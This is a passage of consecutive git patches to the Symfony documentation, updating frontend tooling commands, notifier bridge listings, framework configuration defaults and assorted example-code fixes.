@@ -288,7 +288,7 @@ server provides a ``run`` command to wrap them as follows:
 
     # compile Webpack assets using Symfony Encore ... but do that in the
     # background to not block the terminal
-    $ symfony run -d yarn encore dev --watch
+    $ symfony run -d npx encore dev --watch
 
     # continue working and running other commands...
 
@@ -298,7 +298,7 @@ server provides a ``run`` command to wrap them as follows:
     # and you can also check if the command is still running
     $ symfony server:status
     Web server listening on ...
-    Command "yarn ..." running with PID ...
+    Command "npx ..." running with PID ...
 
     # stop the web server (and all the associated commands) when you are finished
     $ symfony server:stop
@@ -351,9 +351,9 @@ If you like some processes to start automatically, along with the webserver
     # .symfony.local.yaml
     workers:
         # built-in command that builds and watches front-end assets
-        # yarn_encore_watch:
-        #     cmd: ['yarn', 'encore', 'dev', '--watch']
-        yarn_encore_watch: ~
+        # npm_encore_watch:
+        #     cmd: ['npx', 'encore', 'dev', '--watch']
+        npm_encore_watch: ~
 
         # built-in command that starts messenger consumer
         # messenger_consume_async:
@@ -363,7 +363,7 @@ If you like some processes to start automatically, along with the webserver
 
         # you can also add your own custom commands
         build_spa:
-            cmd: ['yarn', '--cwd', './spa/', 'dev']
+            cmd: ['npm', '--cwd', './spa/', 'dev']
 
         # auto start Docker compose when starting server (available since Symfony CLI 5.7.0)
         docker_compose: ~

From 76c29de563d3280abb3456887726b8fe8c5a20d8 Mon Sep 17 00:00:00 2001
From: Pierre du Plessis <pierre@pcservice.co.za>
Date: Thu, 28 Dec 2023 11:34:03 +0200
Subject: [PATCH 5581/7107] [Messenger] Fix typo

---
 messenger.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 2165480247a..31265e52262 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2082,7 +2082,7 @@ Sometimes, you may need to regularly ping a webservice to get its status, e.g.
 is it up or down. It is possible to do so by dispatching a
 :class:`Symfony\\Component\\HttpClient\\Messenger\\PingWebhookMessage`::
 
-    use Symfony\Component\HttpClient\Messenger\RPingWebhookMessage;
+    use Symfony\Component\HttpClient\Messenger\PingWebhookMessage;
     use Symfony\Component\Messenger\MessageBusInterface;
 
     class LivenessService
@@ -2094,10 +2094,10 @@ is it up or down. It is possible to do so by dispatching a
         public function ping(): void
         {
             // An HttpExceptionInterface is thrown on 3xx/4xx/5xx
-            $this->bus->dispatch(new PingWebhookMessage('GET', 'https://example.com/status');
+            $this->bus->dispatch(new PingWebhookMessage('GET', 'https://example.com/status'));
 
             // Ping, but does not throw on 3xx/4xx/5xx
-            $this->bus->dispatch(new PingWebhookMessage('GET', 'https://example.com/status', throw: false);
+            $this->bus->dispatch(new PingWebhookMessage('GET', 'https://example.com/status', throw: false));
 
             // Any valid HttpClientInterface option can be used
             $this->bus->dispatch(new PingWebhookMessage('POST', 'https://example.com/status', [

From 951328319aaf384ae93e2091a7c5dd7bb00fdfaa Mon Sep 17 00:00:00 2001
From: Dennis Fridrich <fridrich.dennis@gmail.com>
Date: Sun, 10 Dec 2023 14:57:22 +0100
Subject: [PATCH 5582/7107] [Notifier] Add docs of sms-sluzba.cz bridge

---
 notifier.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 663398a5c0c..23d6c300216 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -88,6 +88,7 @@ Service             Package                                DSN
 `RingCentral`_      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
 `Sendberry`_        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
 `Sms77`_            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
+`SmsSluzba`_        ``symfony/sms-sluzba-notifier``        ``sms-sluzba://USERNAME:PASSWORD@default``
 `SimpleTextin`_     ``symfony/simple-textin-notifier``     ``simpletextin://API_KEY@default?from=FROM``
 `Sinch`_            ``symfony/sinch-notifier``             ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
 `Smsapi`_           ``symfony/smsapi-notifier``            ``smsapi://TOKEN@default?from=FROM``
@@ -110,6 +111,10 @@ Service             Package                                DSN
     via webhooks. See the :doc:`Webhook documentation </webhook>` for more
     details.
 
+.. versionadded:: 7.1
+
+    The `SmsSluzba`_ integration was introduced in Symfony 7.1.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 
@@ -1006,6 +1011,7 @@ is dispatched. Listeners receive a
 .. _`Smsbox`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsbox/README.md
 .. _`Smsapi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsapi/README.md
 .. _`Smsc`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsc/README.md
+.. _`SmsSluzba`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsSluzba/README.md
 .. _`SpotHit`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SpotHit/README.md
 .. _`Telegram`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telegram/README.md
 .. _`Telnyx`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telnyx/README.md

From b995787767e2f356afea15b774904dc93a32f727 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 28 Dec 2023 21:57:15 +0100
Subject: [PATCH 5583/7107] -

---
 notifier.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 23d6c300216..c8aa863413d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -72,7 +72,6 @@ Service             Package                                DSN
 `GoIP`_             ``symfony/goip-notifier``              ``goip://USERNAME:PASSWORD@HOST:80?sim_slot=SIM_SLOT``
 `Infobip`_          ``symfony/infobip-notifier``           ``infobip://AUTH_TOKEN@HOST?from=FROM``
 `Iqsms`_            ``symfony/iqsms-notifier``             ``iqsms://LOGIN:PASSWORD@default?from=FROM``
-`iSendPro`_         ``symfony/isendpro-notifier``          ``isendpro://ACCOUNT_KEY_ID@default?from=FROM&no_stop=NO_STOP&sandbox=SANDBOX``
 `KazInfoTeh`_       ``symfony/kaz-info-teh-notifier``      ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM``
 `LightSms`_         ``symfony/light-sms-notifier``         ``lightsms://LOGIN:TOKEN@default?from=PHONE``
 `Mailjet`_          ``symfony/mailjet-notifier``           ``mailjet://TOKEN@default?from=FROM``
@@ -86,16 +85,16 @@ Service             Package                                DSN
 `Plivo`_            ``symfony/plivo-notifier``             ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM``
 `Redlink`_          ``symfony/redlink-notifier``           ``redlink://API_KEY:APP_KEY@default?from=SENDER_NAME&version=API_VERSION``
 `RingCentral`_      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
+`SMSFactor`_        ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
 `Sendberry`_        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
-`Sms77`_            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
-`SmsSluzba`_        ``symfony/sms-sluzba-notifier``        ``sms-sluzba://USERNAME:PASSWORD@default``
 `SimpleTextin`_     ``symfony/simple-textin-notifier``     ``simpletextin://API_KEY@default?from=FROM``
 `Sinch`_            ``symfony/sinch-notifier``             ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-`Smsapi`_           ``symfony/smsapi-notifier``            ``smsapi://TOKEN@default?from=FROM``
+`Sms77`_            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
 `SmsBiuras`_        ``symfony/sms-biuras-notifier``        ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
+`SmsSluzba`_        ``symfony/sms-sluzba-notifier``        ``sms-sluzba://USERNAME:PASSWORD@default``
+`Smsapi`_           ``symfony/smsapi-notifier``            ``smsapi://TOKEN@default?from=FROM``
 `Smsbox`_           ``symfony/smsbox-notifier``            ``smsbox://APIKEY@default?mode=MODE&strategy=STRATEGY&sender=SENDER``
 `Smsc`_             ``symfony/smsc-notifier``              ``smsc://LOGIN:PASSWORD@default?from=FROM``
-`SMSFactor`_        ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
 `SpotHit`_          ``symfony/spot-hit-notifier``          ``spothit://TOKEN@default?from=FROM``
 `Telnyx`_           ``symfony/telnyx-notifier``            ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 `TurboSms`_         ``symfony/turbo-sms-notifier``         ``turbosms://AUTH_TOKEN@default?from=FROM``
@@ -103,6 +102,7 @@ Service             Package                                DSN
 `Unifonic`_         ``symfony/unifonic-notifier``          ``unifonic://APP_SID@default?from=FROM``
 `Vonage`_           ``symfony/vonage-notifier``            ``vonage://KEY:SECRET@default?from=FROM``                                                                                 yes
 `Yunpian`_          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@default``
+`iSendPro`_         ``symfony/isendpro-notifier``          ``isendpro://ACCOUNT_KEY_ID@default?from=FROM&no_stop=NO_STOP&sandbox=SANDBOX``
 ==================  =====================================  ========================================================================================================================= ===============
 
 .. tip::

From 3f638192d8b781335c0d4b1165277c72eb51cd27 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 28 Dec 2023 21:57:15 +0100
Subject: [PATCH 5584/7107] -

---
 notifier.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 23d6c300216..c8aa863413d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -72,7 +72,6 @@ Service             Package                                DSN
 `GoIP`_             ``symfony/goip-notifier``              ``goip://USERNAME:PASSWORD@HOST:80?sim_slot=SIM_SLOT``
 `Infobip`_          ``symfony/infobip-notifier``           ``infobip://AUTH_TOKEN@HOST?from=FROM``
 `Iqsms`_            ``symfony/iqsms-notifier``             ``iqsms://LOGIN:PASSWORD@default?from=FROM``
-`iSendPro`_         ``symfony/isendpro-notifier``          ``isendpro://ACCOUNT_KEY_ID@default?from=FROM&no_stop=NO_STOP&sandbox=SANDBOX``
 `KazInfoTeh`_       ``symfony/kaz-info-teh-notifier``      ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM``
 `LightSms`_         ``symfony/light-sms-notifier``         ``lightsms://LOGIN:TOKEN@default?from=PHONE``
 `Mailjet`_          ``symfony/mailjet-notifier``           ``mailjet://TOKEN@default?from=FROM``
@@ -86,16 +85,16 @@ Service             Package                                DSN
 `Plivo`_            ``symfony/plivo-notifier``             ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM``
 `Redlink`_          ``symfony/redlink-notifier``           ``redlink://API_KEY:APP_KEY@default?from=SENDER_NAME&version=API_VERSION``
 `RingCentral`_      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
+`SMSFactor`_        ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
 `Sendberry`_        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
-`Sms77`_            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
-`SmsSluzba`_        ``symfony/sms-sluzba-notifier``        ``sms-sluzba://USERNAME:PASSWORD@default``
 `SimpleTextin`_     ``symfony/simple-textin-notifier``     ``simpletextin://API_KEY@default?from=FROM``
 `Sinch`_            ``symfony/sinch-notifier``             ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-`Smsapi`_           ``symfony/smsapi-notifier``            ``smsapi://TOKEN@default?from=FROM``
+`Sms77`_            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
 `SmsBiuras`_        ``symfony/sms-biuras-notifier``        ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
+`SmsSluzba`_        ``symfony/sms-sluzba-notifier``        ``sms-sluzba://USERNAME:PASSWORD@default``
+`Smsapi`_           ``symfony/smsapi-notifier``            ``smsapi://TOKEN@default?from=FROM``
 `Smsbox`_           ``symfony/smsbox-notifier``            ``smsbox://APIKEY@default?mode=MODE&strategy=STRATEGY&sender=SENDER``
 `Smsc`_             ``symfony/smsc-notifier``              ``smsc://LOGIN:PASSWORD@default?from=FROM``
-`SMSFactor`_        ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
 `SpotHit`_          ``symfony/spot-hit-notifier``          ``spothit://TOKEN@default?from=FROM``
 `Telnyx`_           ``symfony/telnyx-notifier``            ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 `TurboSms`_         ``symfony/turbo-sms-notifier``         ``turbosms://AUTH_TOKEN@default?from=FROM``
@@ -103,6 +102,7 @@ Service             Package                                DSN
 `Unifonic`_         ``symfony/unifonic-notifier``          ``unifonic://APP_SID@default?from=FROM``
 `Vonage`_           ``symfony/vonage-notifier``            ``vonage://KEY:SECRET@default?from=FROM``                                                                                 yes
 `Yunpian`_          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@default``
+`iSendPro`_         ``symfony/isendpro-notifier``          ``isendpro://ACCOUNT_KEY_ID@default?from=FROM&no_stop=NO_STOP&sandbox=SANDBOX``
 ==================  =====================================  ========================================================================================================================= ===============
 
 .. tip::

From d289bcb3d8190d090057cbe2ee000ec4e36c7d0b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 28 Dec 2023 22:14:04 +0100
Subject: [PATCH 5585/7107] [Notifier] Add Seven.io bridge

---
 notifier.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index c8aa863413d..434b783b747 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -87,6 +87,7 @@ Service             Package                                DSN
 `RingCentral`_      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
 `SMSFactor`_        ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
 `Sendberry`_        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
+`Seven.io`_         ``symfony/sevenio-notifier``           ``sevenio://API_KEY@default?from=FROM``
 `SimpleTextin`_     ``symfony/simple-textin-notifier``     ``simpletextin://API_KEY@default?from=FROM``
 `Sinch`_            ``symfony/sinch-notifier``             ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
 `Sms77`_            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
@@ -115,6 +116,11 @@ Service             Package                                DSN
 
     The `SmsSluzba`_ integration was introduced in Symfony 7.1.
 
+.. deprecated:: 7.1
+
+    The `Sms77`_ integration is deprecated since
+    Symfony 7.1, use the `Seven.io`_ integration instead.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 
@@ -1003,6 +1009,7 @@ is dispatched. Listeners receive a
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md
 .. _`SMSFactor`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsFactor/README.md
 .. _`Sendberry`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendberry/README.md
+.. _`Seven.io`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sevenio/README.md
 .. _`SimpleTextin`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SimpleTextin/README.md
 .. _`Sinch`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sinch/README.md
 .. _`Slack`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Slack/README.md

From 2f88c8c89cbbe27848d9e516f047af8c184c6509 Mon Sep 17 00:00:00 2001
From: fishbone1 <45480988+fishbone1@users.noreply.github.com>
Date: Tue, 5 Sep 2023 13:25:07 +0200
Subject: [PATCH 5586/7107] Update associations.rst

Added caution block that informs about the risks of generated convenience "add" and "remove" methods on the inverse side.
---
 doctrine/associations.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 1d5e55d5524..442143fa7ed 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -644,6 +644,15 @@ also generated a ``removeProduct()`` method::
 Thanks to this, if you call ``$category->removeProduct($product)``, the ``category_id``
 on that ``Product`` will be set to ``null`` in the database.
 
+.. warning::
+
+    Please be aware that the inverse side could be associated with a large amount of records.
+    I.e. there could be a large amount of products with the same category.
+    In this case ``$this->products->contains($product)`` could lead to unwanted database
+    requests and very high memory consumption with the risk of hard to debug "Out of memory" errors.
+
+    So make sure if you need an inverse side and check if the generated code could lead to such issues.
+
 But, instead of setting the ``category_id`` to null, what if you want the ``Product``
 to be *deleted* if it becomes "orphaned" (i.e. without a ``Category``)? To choose
 that behavior, use the `orphanRemoval`_ option inside ``Category``:

From 420bf581e50dd273feebaf2fdbed523e744f387f Mon Sep 17 00:00:00 2001
From: Priyadi Iman Nurcahyo <priyadi@priyadi.net>
Date: Wed, 27 Dec 2023 20:21:30 +0700
Subject: [PATCH 5587/7107] Document `#[WithHttpStatus]` and `#[WithLogLevel]`
 on interfaces.

---
 reference/configuration/framework.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 894cf7a82c5..2e82f352af0 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3806,6 +3806,26 @@ the ``#[WithLogLevel]`` attribute::
     {
     }
 
+The attributes can also be added to interfaces directly::
+
+    namespace App\Exception;
+
+    use Symfony\Component\HttpKernel\Attribute\WithHttpStatus;
+
+    #[WithHttpStatus(422)]
+    interface CustomExceptionInterface
+    {
+    }
+
+    class CustomException extends \Exception implements CustomExceptionInterface
+    {
+    }
+
+.. versionadded:: 7.1
+
+    Support to use ``#[WithHttpStatus]`` and ``#[WithLogLevel]`` attributes
+    on interfaces, was introduced in Symfony 7.1.
+
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning
 .. _`phpstorm-url-handler`: https://github.com/sanduhrs/phpstorm-url-handler

From 72cf82a2d5ff77ba27e81235cc4a6ab1cf58961c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Dec 2023 08:32:16 +0100
Subject: [PATCH 5588/7107] [Frontend] Remove other occurrences of "yarn"

---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 0ac04f18e14..803d7dbace6 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1079,7 +1079,7 @@ This will force the AssetMapper component to re-calculate the content of all fil
 Run Security Audits on Your Dependencies
 ----------------------------------------
 
-Similar to ``npm`` and ``yarn``, the AssetMapper component comes bundled with a
+Similar to ``npm``, the AssetMapper component comes bundled with a
 command that checks security vulnerabilities in the dependencies of your application:
 
 .. code-block:: terminal

From 6a36a2217e22215deba87ff0a8c405e060516cb6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Dec 2023 08:46:14 +0100
Subject: [PATCH 5589/7107] [Validator] Mention support of Stringable objects
 in Charset constraint

---
 reference/constraints/Charset.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/Charset.rst b/reference/constraints/Charset.rst
index 5dfa7037c6b..66bdb4c99c4 100644
--- a/reference/constraints/Charset.rst
+++ b/reference/constraints/Charset.rst
@@ -5,7 +5,8 @@ Charset
 
     The ``Charset`` constraint was introduced in Symfony 7.1.
 
-Validates that a string is encoded in a given charset.
+Validates that a string (or an object implementing the ``Stringable`` PHP interface)
+is encoded in a given charset.
 
 ==========  =====================================================================
 Applies to  :ref:`property or method <validation-property-target>`

From 4bdcc5bb66e0ce5a8fd7b4378b12dcbd8aadbb72 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micka=C3=ABl=20Isaert?= <mickael.isaert@gmail.com>
Date: Fri, 29 Dec 2023 15:46:21 +0100
Subject: [PATCH 5590/7107] [Serializer] Better example for date
 denormalization

---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index 54a7e28b4cd..35894018cb5 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -243,7 +243,7 @@ Use the options to specify context specific to normalization or denormalization:
     {
         #[Context(
             normalizationContext: [DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'],
-            denormalizationContext: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339],
+            denormalizationContext: [DateTimeNormalizer::FORMAT_KEY => '!Y-m-d'], // To prevent to have the time from the moment of denormalization
         )]
         public $createdAt;
 

From cf4d72446c92c2049a16b6a147abe856f627003d Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 30 Dec 2023 09:21:13 +0100
Subject: [PATCH 5591/7107] update the default message of the Charset
 constraint

---
 reference/constraints/Charset.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Charset.rst b/reference/constraints/Charset.rst
index 66bdb4c99c4..278ea570831 100644
--- a/reference/constraints/Charset.rst
+++ b/reference/constraints/Charset.rst
@@ -96,7 +96,7 @@ encodings. This option accepts any value that can be passed to
 ``message``
 ~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``The detected encoding "{{ detected }}" does not match one of the accepted encoding: "{{ encodings }}".``
+**type**: ``string`` **default**: ``The detected character encoding is invalid ({{ detected }}). Allowed encodings are {{ encodings }}.``
 
 This is the message that will be shown if the value does not match any of the
 accepted encodings.

From 09675098c807f8fbbf8be96565d1d2e2e474dcfc Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 30 Dec 2023 22:50:58 +0100
Subject: [PATCH 5592/7107] Update framework config

---
 reference/configuration/framework.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 894cf7a82c5..50bfc03530b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -53,13 +53,11 @@ out all the application users.
 handle_all_throwables
 ~~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``boolean`` **default**: ``false``
+**type**: ``boolean`` **default**: ``true``
 
-If set to ``true``, the Symfony kernel will catch all ``\Throwable`` exceptions
+When set to ``true``, the Symfony kernel will catch all ``\Throwable`` exceptions
 thrown by the application and will turn them into HTTP responses.
 
-Starting from Symfony 7.0, the default value of this option will be ``true``.
-
 .. _configuration-framework-http_cache:
 
 http_cache
@@ -1575,11 +1573,13 @@ To see a list of all available storages, run:
 handler_id
 ..........
 
-**type**: ``string`` **default**: ``session.handler.native_file``
+**type**: ``string`` | ``null`` **default**: ``null``
+
+By default at ``null`` if ``framework.session.save_path`` is not set.
+The session handler configured by php.ini is used, unless option
+``framework.session.save_path`` is used, in which case the default is to store sessions
+using the native file session handler.
 
-The service id or DSN used for session storage. The default value ``'session.handler.native_file'``
-will let Symfony manage the sessions itself using files to store the session metadata.
-Set it to ``null`` to use the native PHP session mechanism.
 It is possible to :ref:`store sessions in a database <session-database>`,
 and also to configure the session handler with a DSN:
 
@@ -1844,7 +1844,7 @@ If not set, ``php.ini``'s `session.sid_bits_per_character`_ directive will be re
 save_path
 .........
 
-**type**: ``string`` or ``null`` **default**: ``%kernel.cache_dir%/sessions``
+**type**: ``string`` | ``null`` **default**: ``%kernel.cache_dir%/sessions``
 
 This determines the argument to be passed to the save handler. If you choose
 the default file handler, this is the path where the session files are created.
@@ -2940,7 +2940,7 @@ php_errors
 log
 ...
 
-**type**: ``boolean|int`` **default**: ``%kernel.debug%``
+**type**: ``boolean`` | ``int`` **default**: ``true``
 
 Use the application logger instead of the PHP logger for logging PHP errors.
 When an integer value is used, it also sets the log level. Those integer

From 5ddff44d74c296dc08a65ac28241a681b3b3b8f4 Mon Sep 17 00:00:00 2001
From: Matheus Pedroso <matheus@mathop.com>
Date: Fri, 29 Dec 2023 18:03:34 -0600
Subject: [PATCH 5593/7107] Fix JetBrains Toolbox deeplink example

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 127b42b23f2..bbbbe41c419 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -312,7 +312,7 @@ Another alternative is to set the ``xdebug.file_link_format`` option in your
     xdebug.file_link_format="phpstorm://open?file=%f&line=%l"
 
     // example for PhpStorm with Jetbrains Toolbox
-    xdebug.file_link_format="jetbrains://php-storm/navigate/reference?project=example&file=%f:%l"
+    xdebug.file_link_format="jetbrains://phpstorm/navigate/reference?project=example&path=%f:%l"
 
     // example for Sublime Text
     xdebug.file_link_format="subl://open?url=file://%f&line=%l"

From d271d42221180b45bbf01dfadc5293ac17638033 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 1 Jan 2024 12:57:07 +0100
Subject: [PATCH 5594/7107] fix typo

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ee22e85f7e8..c8686c3d7bb 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3824,7 +3824,7 @@ The attributes can also be added to interfaces directly::
 .. versionadded:: 7.1
 
     Support to use ``#[WithHttpStatus]`` and ``#[WithLogLevel]`` attributes
-    on interfaces, was introduced in Symfony 7.1.
+    on interfaces was introduced in Symfony 7.1.
 
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning

From d24579d8b044590434f9cae5a033f349b81387b1 Mon Sep 17 00:00:00 2001
From: srich387 <64944171+srich387@users.noreply.github.com>
Date: Mon, 1 Jan 2024 11:29:00 +1100
Subject: [PATCH 5595/7107] Fix heading capitalisation in
 dynamic_form_modification.rst

---
 form/dynamic_form_modification.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 8ad446915c4..48dc03f0797 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -9,7 +9,7 @@ how to customize your form based on three common use-cases:
    Example: you have a "Product" form and need to modify/add/remove a field
    based on the data on the underlying Product being edited.
 
-2) :ref:`How to dynamically Generate Forms Based on user Data <form-events-user-data>`
+2) :ref:`How to Dynamically Generate Forms Based on User Data <form-events-user-data>`
 
    Example: you create a "Friend Message" form and need to build a drop-down
    that contains only users that are friends with the *current* authenticated
@@ -188,7 +188,7 @@ Great! Now use that in your form class::
 
 .. _form-events-user-data:
 
-How to dynamically Generate Forms Based on user Data
+How to Dynamically Generate Forms Based on User Data
 ----------------------------------------------------
 
 Sometimes you want a form to be generated dynamically based not only on data

From 40227c98683c13dc68caceadb78328bbbccc9c35 Mon Sep 17 00:00:00 2001
From: Damien Carrier <damien.carrier@alximy.io>
Date: Thu, 28 Dec 2023 21:43:45 +0100
Subject: [PATCH 5596/7107] [Security] Fixing PHP example for limiting login
 attempts with rate limiter

---
 security.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security.rst b/security.rst
index aaf2f600a21..80fbbb1c2f1 100644
--- a/security.rst
+++ b/security.rst
@@ -1653,7 +1653,7 @@ and set the ``limiter`` option to its service ID:
                     <!-- 2nd argument is the limiter for username+IP -->
                     <srv:argument type="service" id="limiter.username_ip_login"/>
                     <!-- 3rd argument is the app secret -->
-                    <srv:argument type="service" id="%kernel.secret%"/>
+                    <srv:argument type="string">%kernel.secret%</srv:argument>
                 </srv:service>
             </srv:services>
 
@@ -1697,7 +1697,7 @@ and set the ``limiter`` option to its service ID:
                     // 2nd argument is the limiter for username+IP
                     new Reference('limiter.username_ip_login'),
                     // 3rd argument is the app secret
-                    new Reference('kernel.secret'),
+                    param('kernel.secret'),
                 ]);
 
             $security->firewall('main')

From eff82f61afaf3e3a5d798eadc9084778401f5bd2 Mon Sep 17 00:00:00 2001
From: Tim Goudriaan <tim@onlinq.nl>
Date: Tue, 12 Dec 2023 15:35:39 +0100
Subject: [PATCH 5597/7107] Update Docker page with instructions for Mac users

---
 setup/docker.rst | 5 +++++
 1 file changed, 5 insertions(+)

